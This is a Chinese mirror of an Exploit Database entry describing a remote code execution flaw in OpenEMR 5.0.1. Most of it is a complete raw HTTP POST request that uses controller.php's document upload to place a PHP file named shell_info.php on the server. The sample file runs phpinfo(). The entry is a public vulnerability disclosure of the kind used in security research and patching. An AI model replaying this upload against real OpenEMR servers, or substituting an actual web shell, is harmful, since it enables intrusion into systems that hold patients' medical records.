OpenEMR 5.0.1 – ‘controller’ Remote Code Execution

• Exploit Database
• 14 阅读

• 作者： Emre ÖVÜNÇ
  日期： 2020-06-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48623/

• # Exploit Title: OpenEMR 5.0.1 - 'controller' Remote Code Execution
  # Date: 2020-06-22
  # Exploit Author: Emre ÖVÜNÇ
  # Vendor Homepage: https://www.open-emr.org/
  # Software Link: https://www.open-emr.org/wiki/index.php/OpenEMR_Downloads
  # Version: v5.0.1
  # Tested on: Linux
  
  # Link: https://github.com/EmreOvunc/OpenEMR_Vulnerabilities
  
  # PoC
  
  To exploit vulnerability, someone could use
  'http://[HOST]/controller.php?document&upload&patient_id=00&parent_id=4&'
  post request to upload malicious php codes.
  
  POST /openemr-5.0.1/controller.php?document&upload&patient_id=00&parent_id=4&
  HTTP/1.1
  Host: [TARGET]
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0)
  Gecko/20100101 Firefox/79.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: http://172.16.155.140/openemr-5.0.1/controller.php?document&upload&patient_id=00&parent_id=4&
  Content-Type: multipart/form-data;
  boundary=---------------------------141194333536146869123947219434
  Content-Length: 842
  Origin: http://172.16.155.140
  DNT: 1
  Connection: close
  Cookie: OpenEMR=t1lugo5qrbhv7mc2c3q9ricsnl;
  TreeMenuBranchStatus=objTreeMenu_1_node_1_9;
  PHPSESSID=dfhapc4v0bskt7pcpmc2j93agq;
  LS-VQGNEIWNPEBSNBWE=6rm848pgjj78hhecpb9roo8af1;
  YII_CSRF_TOKEN=OWYyM0lybGFtRF9wcHRkZ1lldF9WblhoVHlVNk5HRW3WMnZhghJHNtBjyIuALM94Ww3gltGLoeKETBSfevfbCw%3D%3D
  Upgrade-Insecure-Requests: 1
  
  -----------------------------141194333536146869123947219434
  Content-Disposition: form-data; name="MAX_FILE_SIZE"
  
  64000000
  -----------------------------141194333536146869123947219434
  Content-Disposition: form-data; name="file[]"; filename="shell_info.php"
  Content-Type: text/php
  
  <?php
  phpinfo();
  ?>
  -----------------------------141194333536146869123947219434
  Content-Disposition: form-data; name="destination"
  
  
  -----------------------------141194333536146869123947219434
  Content-Disposition: form-data; name="patient_id"
  
  00
  -----------------------------141194333536146869123947219434
  Content-Disposition: form-data; name="category_id"
  
  4
  -----------------------------141194333536146869123947219434
  Content-Disposition: form-data; name="process"
  
  true
  -----------------------------141194333536146869123947219434--